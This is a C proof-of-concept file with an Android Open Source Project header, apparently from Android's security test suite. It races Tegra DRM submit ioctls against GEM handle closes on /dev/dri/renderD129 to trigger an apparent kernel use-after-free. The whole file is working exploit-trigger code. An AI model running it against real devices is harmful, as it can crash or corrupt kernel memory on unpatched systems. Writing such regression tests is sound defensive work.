1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <stdio.h> 18 #include <stdlib.h> 19 #include <pthread.h> 20 #include <errno.h> 21 #include <fcntl.h> 22 #include <sched.h> 23 #include <unistd.h> 24 #include <sys/types.h> 25 #include <sys/ioctl.h> 26 27 #include "local_poc.h" 28 29 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) 30 #define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno)) 31 32 #define DEV "/dev/dri/renderD129" 33 #define CMD_NUM 100 34 35 int dev_fd; 36 37 volatile struct drm_tegra_open_channel open_c; 38 volatile struct drm_tegra_submit submit_c; 39 volatile struct drm_tegra_gem_create gem_create; 40 volatile struct drm_gem_close gem_close; 41 42 volatile struct drm_tegra_cmdbuf cmdbufs[CMD_NUM]; 43 struct drm_tegra_syncpt syncpt; 44 volatile struct drm_tegra_reloc relocs[CMD_NUM]; 45 46 static int set_affinity(int num) 47 { 48 int ret = 0; 49 cpu_set_t mask; 50 CPU_ZERO(&mask); 51 CPU_SET(num, &mask); 52 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 53 if(ret == -1){ 54 } 55 return ret; 56 } 57 58 static int prepare() 59 { 60 int i; 61 62 open_c.client = HOST1X_CLASS_VIC; 63 64 submit_c.num_syncpts = 1; 65 submit_c.syncpts = (__u64)&syncpt; 66 67 gem_close.handle = 1; 68 69 for(i = 0; i < CMD_NUM; i++){ 70 cmdbufs[i].words = 0; 71 cmdbufs[i].offset = 0; 72 cmdbufs[i].handle = 0; 73 relocs[i].cmdbuf.handle = 0; 74 relocs[i].cmdbuf.offset = 0; 75 relocs[i].target.handle = 0; 76 relocs[i].target.offset = 0; 77 } 78 79 submit_c.num_cmdbufs = CMD_NUM; 80 submit_c.cmdbufs = (__u64)cmdbufs; 81 82 submit_c.num_relocs = CMD_NUM; 83 submit_c.relocs = (__u64)relocs; 84 85 gem_create.size = PAGE_SIZE; 86 87 return 0; 88 } 89 90 #define SUBMIT_THREAD_NUM 1 91 pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 }; 92 static void* submit_thread(void *no_use) 93 { 94 set_affinity(1); 95 ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c); 96 return NULL; 97 } 98 99 int main() 100 { 101 int ret; 102 int i; 103 __u64 try_time; 104 105 set_affinity(0); 106 107 dev_fd = open(DEV,O_RDONLY); 108 if(dev_fd == -1){ 109 return 0; 110 } 111 112 prepare(); 113 114 ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); 115 if(ret == -1){ 116 goto out_dev; 117 } 118 119 submit_c.context = open_c.context; 120 121 try_time = 1; 122 while(1){ 123 ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create); 124 if(ret == 0){ 125 for(i = 0; i < CMD_NUM; i++){ 126 cmdbufs[i].handle = gem_create.handle; 127 relocs[i].cmdbuf.handle = gem_create.handle; 128 relocs[i].target.handle = gem_create.handle; 129 } 130 for(i = 0; i < SUBMIT_THREAD_NUM; i++){ 131 pthread_create(submit_thread_id + i, NULL, submit_thread, NULL); 132 } 133 usleep(150); 134 while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0); 135 } 136 try_time++; 137 } 138 139 for(i = 0; i < SUBMIT_THREAD_NUM; i++){ 140 pthread_join(submit_thread_id[i], NULL); 141 } 142 143 out_dev: 144 close(dev_fd); 145 return 0; 146 } 147
